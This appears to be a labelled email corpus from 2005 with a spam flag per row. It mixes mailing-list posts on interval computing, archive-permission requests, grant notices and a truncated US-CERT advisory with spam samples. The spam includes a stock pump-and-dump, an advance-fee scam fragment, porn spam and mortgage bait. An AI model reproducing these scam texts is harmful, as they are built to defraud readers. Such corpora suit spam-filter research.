Austin > > > > > > > > __________________________ > > > > > > > > __________________________ > > > >",0,1 """M.V.Rama Rao"" ",reliable_computing@interval.louisiana.edu,"Thu, 21 Jul 2005 00:38:35 -0700",Hello,"Dear Colleagues, I am happy to inform you that I was awarded Ph.D degree for my thesis entitled ""Analysis of Cable-stayed bridges by fuzzy finite element modelling"" by Osmania university, Hyderabad, India. I was immensly benfitted by the help received from the members of this mailing list. I received help from many researchers of the interval community from time to time via e-mail correspondence. In particular, I recieved a great deal of help from Prof. Rafi Muhanna and Dr Andrejz Pownuk. I am ever grateful to them. I sincerely hope that the discussions and information on this mailing list continue to inspire and help many more researchers worldwide. With warm regards Dr. M.V.Rama Rao Asst. Professor in Civil Engineering, Vasavi College of Engineering, Hyderabad -500 031 INDIA Ph : +91- 40- 2351 1938 --------------------------------- Yahoo! Mail for Mobile Take Yahoo! Mail with you! Check email on your mobile phone.",0,0 Ray Moore ,reliable computing ,"Thu, 21 Jul 2005 07:45:06 -0400",Fredholm-second kind,"Dear All, Is there any published work on interval methods for Fredholm integral equations of the second kind ? If you know of such work, I would very much appreciate your emailing me references. Thanks ! Ramon Moore ",0,0 Tanin Na Nakorn ,reliable_computing@interval.louisiana.edu,"Wed, 20 Jul 2005 21:44:19 -0700",Please help me. I need an interval distribution.,"Hello sir, I need ""interval distribution"". for example, there are d intervals is the system. and i want to know probability of there situations. 1) all of intervals are overlap. 2) there are k intervals overlap. 3) no intervals are overlap. and more ... about overlapping. Is there any formula or study about distribution of interval data? Please help me. Thank you very much. PS. I'm not good at English. Please forgive me for miuse of English. Tanin Na Nakorn __________________________________________________ Do You Yahoo!? Tired of spam? Yahoo! Mail has the best spam protection around http://mail.yahoo.com ",0,1 kpelletier@nypl.org,Melanie Cofield ,"Thu, 21 Jul 2005 09:11:09 -0400",Re: permission to archive,"Dear Melanie: I have read the attached copyright :: non-exclusive right to use and agree with the terms stated. Please send me a link to your final project; it sounds interesting. Also, do not hesitate to contact me if you have any other questions or need additional information. Katherine Katherine Pelletier (formerly Haack) Associate Manager, Planned Giving The New York Public Library Fifth Avenue and 42nd Street New York, New York 10018 Phone: (212) 930-0856 FAX: (212) 930-0983 kpelletier@nypl.org Melanie Cofield 07/20/2005 06:24 PM To: Katherine Haack cc: Subject: permission to archive Greetings former iSchool IT Lab purple-shirt, I'm currently working on a digital archives project for my graduate coursework in the School of Information. I would like to archive the tutorial materials you created during your time here as IT Lab staff. Myself, Dr. Pat Galloway, and the Instructional Technology Services staff here consider these digital learning objects to be valuable in both the short and long term, for a variety of reasons, making them ideal materials for developing an institutional digital repository. In order to archive the tutorial materials you authored, which are currently linked from the School of Information Tutorials Web page at http://www.ischool.utexas.edu/technology/tutorials/browse.php, I need to secure your permission, or at least an indication of your intention to grant such permission. Recently, the Instructional Technology Services staff developed a copyright license agreement, which provides permission to use tutorial materials for projects like mine. Please read the copyright agreement text below, and reply to this email stating your agreement or disagreement with the terms. Alternatively, you may print out the attached copyright agreement document, fill it out, sign it, and fax it to the iSchool at 471-3971, marked ""attention: Melanie Cofield, IT Lab."" Feel free to contact me with any questions or concerns you may have. Thanks for your time, -Melanie Melanie Cofield IT Lab Staff & MSIS Candidate The University of Texas at Austin School of Information 512-471-3991 This agreement is made between the University of Texas at Austin (""University"") and _______________________ (""author""). This agreement acknowledges that the author, above, holds copyright to all parts original to the author in the educational materials that the author created while working at the University of Texas at Austin School of Information. For these works, the author grants the University a non-exclusive right to use the work for any purpose, including the creation of derivative works, in perpetuity. This agreement was signed this ______ day of __________________________ , 20___. The University of Texas at Austin __________________________ __________________________",0,1 Rhonda Nieves ,"marsha@brinza.cc.columbia.edu, kerry@brinza.cc.columbia.edu, noemi@brinza.cc.columbia.edu, dwight@brinza.cc.columbia.edu","Thu, 21 Jul 2005 10:53:43 +0000",Investment Opportunities,"In the current oil market, select small energy deals are flying. With growing demand, shrinking supplies, and government support for domestic energy projects, is there a better sector to invest in? Here's our next winner: Co: Premium Petro|eum Inc. Sym: P5P TpL Currently Trading at: $0.02 1 Week_Target_Price: $0.08 A Massive PR Campaign is Underway for Friday into next week!! At only 2 cents the Gains will be tremendous!! HUGE news out for Premium Petroleum . Did they strike oil? Please read all the latest Press Releases on the company. We advise our readers to get in early! This one is going up fast! Premium Petroleum, Inc. is a diversified energy company focused on exploiting the vast oil and gas reserves of Northern Canada. With a strong management and technical team, Premium Petroleum will apply innovative technologies towards the discovery and development of a diverse portfolio of high value, low risk energy projects. * GOOD LUCK & TRADE OUT THE TOP *",1,0 Scott Ferson ,"Tanin Na Nakorn , reliable_computing@interval.louisiana.edu","Thu, 21 Jul 2005 15:14:16 -0400",Re: Please help me. I need an interval distribution.," Dear Tanin Na Nakorn: We're currently working on a report on interval statistics, or statistics for data sets which contain intervals rather than only point estimates. Maybe that will be interesting to you. I can send you an early draft in a couple of days. If you give me your postal address, I'll put you on the distribution list as well. Perhaps when you see the report, you can suggest what statistics in particular you might be interested in. Scott Ferson Applied Biomathematics Tanin Na Nakorn wrote: >Hello sir, > >I need ""interval distribution"". > >for example, > >there are d intervals is the system. and i want to >know probability of there situations. > >1) all of intervals are overlap. >2) there are k intervals overlap. >3) no intervals are overlap. >and more ... about overlapping. > >Is there any formula or study about distribution of >interval data? > >Please help me. > >Thank you very much. > >PS. I'm not good at English. Please forgive me for >miuse of English. > >Tanin Na Nakorn > >__________________________________________________ >Do You Yahoo!? >Tired of spam? Yahoo! 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Deadline extended to September, 1st, 2005 Read again the submission guidelines SAC'2006 For the past twenty years, the ACM Symposium on Applied Computing (SAC) has been a primary gathering forum for applied computer scientists, computer engineers, software engineers, and application developers from around the world. SAC 2006 is sponsored by the ACM Special Interest Group on Applied Computing, hosted by the University of Bourgogne, and held in Dijon, France. Overview of RCA'06: Many numerical computations, be they solutions to systems of differential equations or optimization problems coming from applied areas like protein folding, do not provide us with guaranteed computation results. In many situations, we have numerical solutions, we may even have a theorem guaranteeing that, eventually, this numerical solution tends to the actual precise one, but the algorithm itself does not provide us with guaranteed bounds on the difference between the numerical approximate solution and the desired actual one. Therefore, in some practical situations, numerical solutions are much farther from the actual (unknown) precise solutions than the users assume. As a result, we often end up with inefficient local maxima for practical optimization problems like chemical engineering - or even with a mission failure if we are planning, e.g., a spaceship trajectory. For some such algorithms, researchers have found such guaranteed bounds, but producing such a bound for each algorithm requires a lot of work. It is therefore desirable to develop a methodology that would provide algorithms with automatic result verification, i.e., with automatically generated upper bound on the difference between the actual and the numerical solution. In other words, we need computation techniques that produce reliable (guaranteed) results. This problem was recognized already in the 1950s. The corresponding techniques, largely developed by Ramon E. Moore, were later applied in guaranteeing trajectories of spaceflights and in other practical problems where deviations from the target are of critical importance. The main idea behind these techniques is that at any intermediate step of the computations, instead of the exact number, we keep an interval of possible values. For inputs (that usually come from measurements), we have an interval because measurements are never 100% accurate; if the manufacturer of the measuring instrument guarantees that the measurement error is D or smaller, then the measuring result X means that the actual value is in the interval [X-D,X+D]. At each elementary computational step, we apply interval arithmetic to the corresponding intervals and produce the interval for the result; e.g., [a,b]+[c,d] leads to [a+c,b+d]. Of course, this ""straightforward interval computation"", that does not take dependence between intermediate results into consideration, does not always lead to efficient estimates. However, in the last 40+ years, efficient interval computations methods have been developed based on this original idea. There are a lot of interesting applications of interval computations, there is a lot of potential, but there are still a lot of open problems, situations where new techniques are needed. Of course, this ""straightforward interval computation"", that does not take dependence between intermediate results into consideration, does not always lead to efficient estimates. However, in the last 40+ years, efficient interval computations methods have been developed based on this original idea. There are a lot of interesting applications of interval computations, there is a lot of potential, but there are still a lot of open problems, situations where new techniques are needed. Let us emphasize that, besides handling the uncertainty due to measurements, intervals also prove to be very convenient and useful when it comes to performing computations with inherent uncertainty. This is the case for instance when a quantity is not known precisely (e.g., the length of a mechanic component only known to lie between 12 and 13 cm). Intervals enable to take this kind of incomplete knowledge into account, which other approaches mainly fail to handle. One such technique that has also been used to provide guaranteed bounds is the technique of constraint propagation. This technique originated in logical AI problems, and it has been lately successfully applied to numerical problems, often in conjunction with interval methods. For example, one of the latest textbooks on interval computations, by Jaulin et al., contains robot-related practical examples of combining these two techniques. This combination has started, it is the object of interest by many researchers, it has already led to interesting and efficient packages like Numerica, but there is still a lot of room for potential improvement. Scope of RCA'06: We hope that our track, with an emphasis on such a combination, will bring together not only algorithm developers but also practitioners whose practical needs will help guide researchers in the proper directions. Authors are invited to submit original papers in all areas related to the track's topics. Possible submissions fall into the following categories: Original and unpublished research work Report of innovative computing applications in the arts, sciences, engineering, and business areas Report of successful technology transfer to new problem domains Report of industrial experience and demos of new innovative systems We encourage in particular the submission of work in progress, of work on very specialized aspects of interval computations and/or interval constraint propagation, and of work emphasizing real applications of/need for reliable computations. The authors should send their papers electronically to Martine Ceberio. Peer groups with expertise in the track focus area will blindly review submissions to that track. Therefore the authors should submit anonymous versions of their paper(s). Accepted papers will be published in the annual conference proceedings. Submission guidelines will be posted on SAC 2006 Website. Submission: The deadline for submission is September 1st, 2005. Prospective authors should send their papers electronically to Martine Ceberio, with ""[RCA'06] Submission"" as the subject of the e-mail. In addition, the paper should be: no more than 5 pages long; submitted in postscript or pdf format; without the authors' names; formatted using the IEEE style (for information, you can find here, the zip files of the instruction to Authors of SAC'05; updated information will be posted here as soon as available). IMPORTANT INFORMATION: Every author must ALSO register their paper(s) and submit the abstract(s) before the abstract submission deadline date (September 1, 2005). In order to register the paper, the author must submit the electronic form, available at the webpage. Abstract Submission Guidelines: Authors must register their intent to submit a paper by submitting an electronic abstract (in text format) of a maximum length of 200 words by the due date prior to the actual submission and obtain a paper identification number. Prior to submitting the abstract, authors will be required to register as users on the system. Once an author has submitted an abstract, he/she will receive a confirmation email with instructions on submitting the paper. The format of the submitted paper must be PDF or Postscript. Let us also recall the prospective authors that the acceptance rate at SAC is set to 33 to 36%. Therefore, we strongly encourage authors not to hesitate to submit several articles. Important dates: Paper Submission deadline September, 1st Notification of acceptance October, 15th Camera-ready version deadline November, 5th Conference venue: Dijon, former capital of the Dukes of Burgundy, is a town steeped in history, proud heir to a rich architectural legacy. Dijon is one of the first sectors safeguarded in France; Dijon accounts for 97 ha of nationally classed monuments very well preserved. Lying at the gates of the famous vineyards of the Côte de Nuits, Dijon is also one of the glories of the French gastronomic tradition, known throughout the world for its mustard, blackcurrant liqueur, gingerbread, etc. It is also a university town, a business and cultural centre boasting a wide and varied choice of hotels, an auditorium and extensive reception facilities capable of hosting all kinds of events. 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You can catch more of the story on This website: http://www.opendemocracy.net/debates/article-3-561409.jspor http://newsfromrussia.com/main/2003/11/13/51215.html YOUR ROLE: All I need from you is to stand as the beneficiary of the Above quoted Sum and I will re-profile the funds with your name, which will enable The European bank transfer the sum to you with the aid of my personal attorney in London. I have decided to use this Sum to relocate to American continent and never to be connected to any Of Mikhail Khodorkovsky conglomerates. The transaction has to be Concluded before Mikhail Khodorkovsky is out on bail. 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",1,1 Tameka Dorsey ,mcofield@ischool.utexas.edu,"Wed, 27 Jul 2005 22:30:16 -0400",Do you want glorious viirgin Hussies,"? MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit darling Schoolgirrls doing pleasant suckking. http://golfgameday.info/fppp.htm?iSPhfd.fX,hj U,N,S,U,B,S,C,RR,l,B,E http://golfgameday.info ",1,1 Arnold Neumaier ,"reliable computing , John.Busch@sun.com","Wed, 27 Jul 2005 16:17:24 +0200",Re: Sun interval patents,"George Corliss wrote: > Suppose Bill had agreed with my perspective and told his boss, ""There is > nothing new here."" How does he look? Further, suppose that instead of Sun, > someone else, say from a few hundred miles further north, submitted exactly > the same patent applications as Sun did. That firm almost surely would have > forced Sun to remove intervals from their Fortran, C++, and other software > (and probably hardware). If it would have forced the powerful Sun to remove intervals from their software, how much more will it force us to the same step now that Sun has already done what you pictured only as a ficticious scenario. Thus if Sun felt threatened by the prospect of someone possibly issue patents, shouldn't we feel even more threatened by Sun actually having issued patents??! > Scenario 1: You have a great idea. You publish it. You go to a company and > propose they commercialize it. They decline, because their competitor can > read your article and bring the same product to market. Neither does their > competitor see an opportunity for competitive advantage. Result: Your great > idea counts for tenure. Period. > > Scenario 2: You have a great idea. You file for patent protection. You > publish it. You go to a company and propose they commercialize it. Now, > you can offer them a guaranteed monopoly in the market, giving them a > potential competitive advantage. Result: Your great idea counts for tenure, > AND it generates revenue to fund continued research. Scenario 3: Others have great ideas and publish them. You file for patent protection... This is what Sun did. > The goal of the interval research community has long been to get practicing > scientists and engineers to use our work. We want people to use our stuff? > Then we are offended when Sun thinks there might be some commercial value > and competitive advantage? Hello!? We are threatened not by commercial exploitation of our ideas, nor by having patented their own ideas, but by having patented the existing state of the art and thus threatening to force us to pay for publicly long available ideas... > > Sun is our ally. They are offer major vendor support for intervals in their > compilers, and they are aggressively promoting intervals to their customers. Sun is our threat. They now have (and are the only ones with) legal power to put an end to the use of interval software outside Sun's reach. > In short, I see multiple sides. I wish the world were simpler, but it is > not, and wishing does not make it so. > WE NEED SIGNIFICANT APPLICATIONS, AND WE NEED TO COMMUNICATE > THEM TO PRACTICING SCIENTISTS AND ENGINEERS. It would be foolish to communicate them to Sun. They would patent them like they patented interval multiplication and other things... In view of Sun's policy it becomes wisdom to be secretive. The scientific world of interval computations has become a worse place because of them. Arnold Neumaier ============================================================================== Ray Moore wrote: > > As a result of my previous email to this group, I have been contacted by > John Busch of Sun Microsystems, and informed that anyone with specific > concerns about Sun's interval patents should contact him at > John.Busch@sun.com > > best regards, > > Ray Moore",0,0 Angela Reid ,economicsbb@columbia.edu,"Wed, 27 Jul 2005 10:39:08 -0400",Fwd: Fund Opp: NIH - Biobehavioral Methods to Improve Outcomes Res," > >Please note the following fund opportunity: > >Program: Biobehavioral Methods to Improve Outcomes Research (PA-05-142) >Agency: National Institutes of Health (NIH) >Deadline: October 1, February 1, June 1 annually through September >2, 2008 >URL: http://grants.nih.gov/grants/guide/pa-files/PA-05-142.html > >This initiative is designed to foster biobehavioral research and develop >innovative research designs, methods of measurement, and data analysis >techniques. Designs and methods that examine the impact of biologic and >behavioral variables on individuals' health outcomes and quality of life >are encouraged. Scientists are encouraged to increase the interface of >biobehavioral research and clinical practice in existing core and >exploratory centers and training programs by sharing findings and >designing collaborative research projects. > >Ideally, interdisciplinary researchers should overcome differences in >perspectives, incentives, and methods by going beyond usual collaborations >to engage others to solve problems creatively and efficiently. > >Suitable topics for research include, but are not limited to, the following: > ># Development of collaborative studies to expand the understanding of >biobehavioral factors that influence disease prevention, improve health >outcomes, or increase quality of life in acute or chronic illnesses. > ># Early identification of exacerbations of disease by documenting their >occurrence with biological markers and behavioral measures of the given >variables. > ># Evaluate the effectiveness of biological markers and behavioral measures >to monitor specific manifestations of health status or progression of disease. > ># Explore nanotechnology as a new paradigm for investigating >behavioral/biological interfaces, predicting and preventing diseases. >Nanotechnology may be cross-inked to other approaches to provide a >quantitative measurement of biological processes. > ># Explore influences of pharmacogenetics on physiological and >psychological responses to therapeutic interventions. > ># Test models or frameworks that integrate the complexities of biological >and behavioral variables. > ># Encourage novel technologies, imaging probes, or instrumentation such as >assay flexibility, more sensitive noninvasive techniques, robotics and >supercomputing networks, to expand biobehavioral interventions and assessments. > ># Identify biobehavioral approaches and measurement techniques for >conducting research among diverse patient populations. > ># Explore designs and methods to evaluate the cost-effectiveness of >integrated biological and behavioral interventions. > ># Applications of interest to NIGMS would focus upon bi-directional >interactions between biobehavioral factors and the physiological response >to physical injury including traumatic burn, or peri-operative injury. >Also encouraged are studies on the interactions between biobehavioral >factors and response to anesthesia and perioperative analgesia, projects >on disease processes occurring as common complications following injury or >surgical intervention that are found within intensive care units (such as >sepsis, acute respiratory distress syndrome, and multiple organ failure), >and research related to wound healing and tissue repair following injury. >Research topics also include the impact of allostasis and allostatic load >on the physiological response to injury, as well as how the response to >injury and treatment interventions affects biobehavioral functioning. > ># The National Cancer Institute would like to encourage methodological and >technological innovation among biobehavioral studies that use cancer as >the disease paradigm and seek to improve clinical outcome (e.g., quality >of life, symptom management, disease progression). Research using >innovative methods to study the interface between behavioral factors >(e.g., stress, affect, coping), tumor biology (e.g., angiogenesis, T-cell >regulation, inflammation, viral oncogenesis) and other biological >mechanisms (e.g., apoptosis, DNA repair), and cancer control are appropriate. > >Beth H. Israel, Executive Director >Office of Projects and Grants > > > > > >------------------------------------------- >You have been included in a majordomo mailing list (eco-opg@columbia.edu) >maintained by the Office of Projects and Grants. This list will allow the >rapid dissemination of important proposal/award related information as well >as the dissemination of program solicitations and related programmatic >information. >To subscribe to the list, send the following message to: >majordomo@columbia.edu >subscribe eco-opg@columbia.edu >To unsubscribe to the list, send the following message to: >majordomo@columbia.edu >unsubscribe eco-opg@columbia.edu >------------------------------------------- ",0,1 Steve Albin ,DMDX@psy1.psych.arizona.edu,"Wed, 27 Jul 2005 18:31:40 -0400",[DMDX] how to extend duration of response confirmation,"Hi. I'm new to DMDX, helping a researcher use it to set up an experiment. The experiment structure is simple: The subject hears a sentence (a 4-second .wav file) played twice with a 2-second delay in between, and presses Left-Shift to indicate ""NOT PROPER GRAMMAR"" or Right-Shift to indicate ""PROPER GRAMMAR"". There is a 4-second timeout if no response is given. The researcher would like the subject to get feedback as to whether the response was accepted (without indicating ""correct"" or ""wrong"") and different feedback if a timeout occurred. I tried to set this up -- see the script (abbreviated) below. The subject sees one of the two messages: ""Response Recorded"" or ""NO RESPONSE"". There are two problems: 1. The messages disappear too quickly from the monitor. Is there a way for me to force a 2-second display before moving to the next item? 2. The confirmation message ""Response Recorded"" actually becomes ""Response Recorded nnnn.nn"" with the Response Time displayed. Is there a way to suppress the inclusion of RT in the message? Thanks for any suggestions. Steve Albin $ 0 ""Press SPACEBAR to start""; 500 /; $ -3 / * / ""Sent3"" / / ""Sent3"" /! /!; +4 / * / ""Sent4"" / / ""Sent4"" /! /!; $ 0 ""Have a Break"", ""Press SPACEBAR to restart""; 500 /; $ +5 / * / ""Sent5"" / / ""Sent5"" /! /!; -6 / * / ""Sent6"" / / ""Sent6"" /! /!; $ 0 ""The End. Thank You.""; $ }",0,0 Matthew Finkbeiner ,DMDX@psy1.psych.arizona.edu,"Wed, 27 Jul 2005 18:47:24 -0400",[DMDX] Re: how to extend duration of response confirmation,"> > 1. The messages disappear too quickly from the monitor. > > Is there a way for me to force a 2-second display before moving to the next item? > you can use to adjust feedback duration > 2. The confirmation message ""Response Recorded"" actually becomes > ""Response Recorded nnnn.nn"" with the Response Time displayed. > > Is there a way to suppress the inclusion of RT in the message? > use , which is ""no feedback time""",0,0 fei tian ,wuyijia@hotmail.com,"Thu, 28 Jul 2005 05:47:04 +0000",Thanks!,"Hi,Yijia:   Would you please paste this massage to the SDSU board? Thanks for your help!     -------------------------     Hi, there A young girl(clean, tidy and easygoing) is going to SDSU in the end of August and is looking for room to stay. A room with its own bathroom is prefered, shared facility with others is okay as well. The place better be near SDSU campus or close to the free shuttle bus. If you have such rooms available, please contact me by email or call at 858-642-6935. Any help is appreciated. 使用 MSN Messenger 与联机的朋友进行交流 ------=_NextPart_000_1540_6bdd_7332--",0,1 Skidmore Spam Firewall ,irc-list-web@skidmore.edu,"Thu, 28 Jul 2005 07:03:58 -0400",Spam Quarantine Summary,"Dear irc-list-web@skidmore.edu, this is your quarantine summary from the Skidmore Spam Firewall. You have 1 messages in your spam quarantine inbox. To view the contents of your quarantine inbox or to manage your spam preferences, please open the following link in your browser: https://monty.skidmore.edu:443/cgi-bin/index.cgi?user=irc-list-web@skidmore.edu&password=f2d19ac0c9172c87a865e5018e261e49&et=1122980638 ",0,1 Libby Peterek ,Melanie Cofield ,"Thu, 28 Jul 2005 15:55:02 -0500",Re: Fwd: permission to archive,"i, elizabeth (libby) peterek, give my permission and i agree. archive it! sorry, mel, i've been galavanting out of town and altogether flaky lately. thanks for staying on my case. lib Melanie Cofield wrote: Libby, I didn't get a response from you, and I know you are the cooperative type, so I'm giving you another chance to reply ;) Greetings, oh esteemed IT Lab tutorial author! I’m currently working on a digital archives project for my graduate coursework in the School of Information. I would like to archive the tutorial materials you created during your time here as IT Lab staff. Myself, Dr. Pat Galloway, and the Instructional Technology Services staff here consider these digital learning objects to be valuable in both the short and long term, for a variety of reasons, making them ideal materials for developing an institutional digital repository. In order to archive the tutorial materials you authored, which are currently linked from the School of Information Tutorials Web page at http://www.ischool.utexas.edu/technology/tutorials/browse.php, I need to secure your permission, or at least an indication of your intention to grant such permission. Recently, the Instructional Technology Services staff developed a copyright license agreement, which provides permission to use tutorial materials for projects like mine. Please read the copyright agreement text below, and reply to this email stating your agreement or disagreement with the terms. Alternatively, you may print out the attached copyright agreement document, fill it out, sign it, and fax it to the iSchool at 471-3971, marked “attention: Melanie Cofield, IT Lab.” Yet another alternative is to choose a license from those offered by Creative Commons at www.creativecommons.org/license. If you choose this licensing option, and opt to allow me to archive your materials in the iSchool's digital repository, please send me your license information via email. Feel free to contact me with any questions or concerns you may have. Thanks for your time, -Melanie Melanie Cofield IT Lab Staff & MSIS Candidate The University of Texas at Austin School of Information 512-471-3991 This agreement is made between the University of Texas at Austin (""University"") and _______________________ (""author""). This agreement acknowledges that the author, above, holds copyright to all parts original to the author in the educational materials that the author created while working at the University of Texas at Austin School of Information. For these works, the author grants the University a non-exclusive right to use the work for any purpose, including the creation of derivative works, in perpetuity. This agreement was signed this ______ day of __________________________ , 20___. The University of Texas at Austin __________________________ __________________________ ----- End forwarded message ----- This agreement is made between the University of Texas at Austin (""University"") and _______________________ (""author""). This agreement acknowledges that the author, above, holds copyright to all parts original to the author in the educational materials that the author created while working at the University of Texas at Austin School of Information. For these works, the author grants the University a non-exclusive right to use the work for any purpose, including the creation of derivative works, in perpetuity. This agreement was signed this ______ day of __________________________ , 20___. The University of Texas at Austin __________________________ __________________________ -- Libby Peterek Center for Instructional Technology Division of Instructional Innovation and Assessment University of Texas at Austin 471-6219 :: libby.peterek@mail.utexas.edu http://www.utexas.edu/academic/diia",0,1 Joseph ,reliable_computing-outgoing@interval.louisiana.edu,"Fri, 29 Jul 2005 07:05:43 +0800",Your Re-finance Application confirmation,"Dear Home Owner, Your credit doesn't matter to us! If you OWN real estate and want IMMEDIATE cash to spend ANY way you like, or simply wish to LOWER your monthly payments by a third or more, here are the deals we have TODAY (hurry, these offers will expire TONIGHT) : $488,000.00 as low as 3.67,% $372,000.00 as low as 3.90,% $492,000.00 as low as 3.21,% $248,000.00 as low as 3.36,% $198,000.00 as low as 3.55,% Hurry, when these deals are gone, they are gone! Simply fill out this one-minute form... http://www.k82k.com Don't worry about approval, your credit will not disqualify you! Sincerely, Joseph Approval Manager ",1,1 susiek@ischool.utexas.edu,Melanie Cofield ,"Fri, 29 Jul 2005 06:59:07 -0500",Re: permission to archive your picture,"Hello Mel, You have my permission to archive my picture. Thanks, Susie Krejci ",0,0 kpelletier@nypl.org,Melanie Cofield ,"Fri, 29 Jul 2005 09:15:30 -0400",Re: permission to archive your picture,"You have permission to use a photo -- though I fear what photo it might be as I don't recall having one taken! ;-P Katherine Katherine Pelletier Associate Manager, Planned Giving The New York Public Library Fifth Avenue and 42nd Street New York, New York 10018 Phone: (212) 930-0856 FAX: (212) 930-0983 kpelletier@nypl.org Melanie Cofield 07/28/2005 06:07 PM To: Melanie Cofield cc: Subject: permission to archive your picture Hello again, former purpleshirts! I am now seeking your permission to archive your IT Lab staff photo in the iSchool's digital repository, as a supplement to your archived tutorial materials. I believe this visual information lends a bit of humanity and creativity to the archive. Please respond to this message stating whether you grant or decline permission for your lab staff photo to be archived in this iSchool digital repository project. I will send email notification of the project's completion, as well as information on how to access the archived materials, to all Lab staff (current and former) whose materials are archived in this collection. Thanks for your time. I shan't bother you with permission requests again :)",0,0 Angela Reid ,economicsbb@columbia.edu,"Fri, 29 Jul 2005 09:53:58 -0400",Fwd: NEH summer 2006 stipend for eligible f-t faculty: internal deadline is 9/19/05 in 107 Low,"> >TO: Full-time Faculty in Humanities and Social Sciences >Departments > >INTERNAL DEADLINE: September 19, 2005 > >PLEASE SUBMIT 5 xeroxed copies of APPLICATION and CV to: 107 Low >Memorial Library by 9/19/05 > > >Full-time tenured and non-tenured faculty in the social sciences and >humanities departments are eligible to apply for a summer 2006 stipend >from the National Endowment in the Humanities ($5,000 for two months >research). Columbia is permitted to nominate only two faculty, and the >internal deadline for submitting the application to my office in 107 Low >is September 19. > >Note the ineligibility criteria from the web site below, >particularly: Individuals who have held ""a major fellowship or research >grant or its equivalent ($10,000 or more) within the last three academic >years are ineligible for NEH summer stipends."" Sabbaticals and grants >from a person's own institution and stipends and grants from other sources >supporting study and research during the summer are not considered major >fellowships. NEH Summer Stipends recipients must wait five years before >they are eligible to apply again to the program. Below is the web site >for more information: > >http://www.neh.fed.us/grants/guidelines/stipends.html > >If you are full-time faculty member and you wish to be considered as one >of Columbia's two nominees, the following steps apply: > >Step 1: Access, logon, review the application guidelines, paste in your >project, and print out your completed application, list of referees, and >curriculum vitae. See the following NEH's web site: >http://www.neh.gov/grants/guidelines/stipends.html >http://www.neh.gov/grants/guidelines/stipendsfaqs.html > >Step 2: Xerox and send 5 copies of the application, cv, and list of >referees to GSAS, c/o Beatrice Terrien, 107 Low, by September 19, >2005. (Note: only logged-on applicants will be able to see and print out >a paper copy of the application.) > >Step 3: Columbia reviews all applications submitted by 9/19 and chooses 2 >nominees. I will notify the two nominees to send their applications >online to NEH. NEH will email Dean Henry Pinkham for confirmation. If >you are nominated by Columbia, please add his email >hcp3@columbia.edu and title ""Dean of the >Graduate School of Arts and Sciences"" to the appropriate online area in >the application. > >Step 4: NEH notifies nominees by March 31, 2006. > > >Note: If you have questions, you can contact NEH by telephone at 202 606 >8200 or via email at stipends@neh.gov. > > >+ + + + + + + + + + + + + + + + + + + + + + + + + + + >Beatrice Terrien >Associate Dean, Columbia University >Graduate School of Arts and Sciences >212 854 5052; FAX: 212 854 4912; bt3@columbia.edu >http://www.columbia.edu/cu/gsas >+ + + + + + + + + + + + + + + + + + + + + + + + + + + >",0,1 Angela Reid ,economicsbb@columbia.edu,"Fri, 29 Jul 2005 10:00:41 -0400",Fwd: Fund Opp: NSF – Graduate Research Fellowships Program ,"> >Please note the following fund opportunity for students in your area: > >Program: Graduate Research Fellowship Program (GRFP) (NSF 05-601) >Agency: National Science Foundation (NSF) >Deadline: see below >URL: http://www.nsf.gov/publications/pub_summ.jsp?ods_key=nsf05601 > >The National Science Foundation aims to ensure the vitality of the human >resource base of science, technology, engineering, and mathematics in the >United States and to reinforce its diversity by offering approximately >1,000 graduate fellowships in this competition. The Graduate Research >Fellowship provides three years of support for graduate study leading to >research-based master’s or doctoral degrees and is intended for students >who are at the early stages of their graduate study. The Graduate Research >Fellowship Program (GRFP) invests in graduate education for a cadre of >diverse individuals who demonstrate their potential to successfully >complete graduate degree programs in disciplines relevant to the mission >of the National Science Foundation. > >Fellowship applications must be submitted by the prospective Fellow. >Applicants must register with Fastlane >(http://www.fastlane.nsf.gov) prior to >submitting an application and must affiliate with an accredited United >States university, college, or non-profit academic institution or >appropriate international institution of higher education offering >advanced degrees in science, technology, engineering, and mathematics >prior to activating the Fellowship award. > >Applicants are limited to only one application in this competition. > >Deadlines: >November 02, 2005 - Life Sciences >November 03, 2005 - Psychology, Mathematical Sciences >November 04, 2005 - Social Sciences >November 07, 2005 - Chemistry, Physics and Astronomy >November 08, 2005 - Engineering >November 09, 2005 - Computer and Information Science and Engineering >(CISE), Geosciences >Official Academic Transcript(s) (Required) due by deadline for Field of Study. >December 31, 2005 ­ Three Reference Letters (Required) >December 31, 2005 - GRE Subject and General Test Scores (Optional). > > >Beth H. Israel, Executive Director >Office of Projects and Grants > > > > >------------------------------------------- >You have been included in a majordomo mailing list (eco-opg@columbia.edu) >maintained by the Office of Projects and Grants. This list will allow the >rapid dissemination of important proposal/award related information as well >as the dissemination of program solicitations and related programmatic >information. >To subscribe to the list, send the following message to: >majordomo@columbia.edu >subscribe eco-opg@columbia.edu >To unsubscribe to the list, send the following message to: >majordomo@columbia.edu >unsubscribe eco-opg@columbia.edu >-------------------------------------------",0,1 CERT Advisory ,cert-advisory@cert.org,"Fri, 29 Jul 2005 17:38:39 -0400",US-CERT Technical Cyber Security Alert TA05-210A -- Cisco IOS IPv6 Vulnerability ,"-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 National Cyber Alert System Technical Cyber Security Alert TA05-210A Cisco IOS IPv6 Vulnerability Original release date: July 29, 2005 Last revised: -- Source: US-CERT Systems Affected * Cisco IOS devices with IPv6 enabled For specific information, please see the Cisco Advisory. Overview Cisco IOS IPv6 processing functionality contains a vulnerability that could allow an unauthenticated, remote attacker to execute arbitrary code or cause a denial of service. I. Description Cisco IOS contains a vulnerability in the way IPv6 packets are processed. US-CERT has not confirmed further technical details. According to the Cisco Advisory, this vulnerability could be exploited by an attacker on the same IP subnet: Crafted packets from the local segment received on logical interfaces (that is, tunnels including 6to4 tunnels) as well as physical interfaces can trigger this vulnerability. Crafted packets can not traverse a 6to4 tunnel and attack a box across the tunnel. The crafted packet must be sent from a local network segment to trigger the attack. This vulnerability can not be exploited one or more hops from the IOS device. US-CERT strongly recommends that sites running Cisco IOS devices review the Cisco Advisory and upgrade as appropriate. We are tracking this vulnerability as VU#930892. II. Impact This vulnerability could allow an unauthenticated, remote attacker on the same IP subnet to execute arbitrary code or cause a denial of service. The attacker may be able to take control of a vulnerable device. III. Solutions Upgrade Upgrade to a fixed version of IOS. Please see the Software Versions and Fixes section of the Cisco Advisory for details. Disable IPv6 From the Cisco Advisory: In networks where IPv6 is not needed, disabling IPv6 processing on an IOS device will eliminate exposure to this vulnerability. On a router which supports IPv6, this must be done by issuing the command ""no ipv6 enable"" and ""no ipv6 address"" on each interface. Appendix A. Vendor Information Cisco Systems, Inc. Cisco Systems, Inc. has released a 